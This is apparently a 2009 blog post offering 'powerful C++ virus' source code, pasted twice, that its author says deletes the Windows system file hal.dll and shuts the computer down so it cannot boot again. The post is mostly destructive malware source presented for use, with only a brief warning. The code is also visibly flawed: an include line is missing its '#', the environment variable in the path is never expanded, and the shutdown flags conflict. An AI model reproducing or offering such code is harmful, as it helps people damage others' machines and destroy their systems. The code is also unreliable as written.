September 19, 2009

powerful C++ virus

This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.










include <cstdlib>

#include <iostream>

using namespace std;

int main(int argc, char *argv[])

{

std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME

system("shutdown -s -r");

system("PAUSE");

return EXIT_SUCCESS;

}

include <cstdlib>

#include <iostream>

using namespace std;



int main(int argc, char *argv[])

{

std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME

system("shutdown -s -r");

system("PAUSE");

return EXIT_SUCCESS;

}
Disqus Comments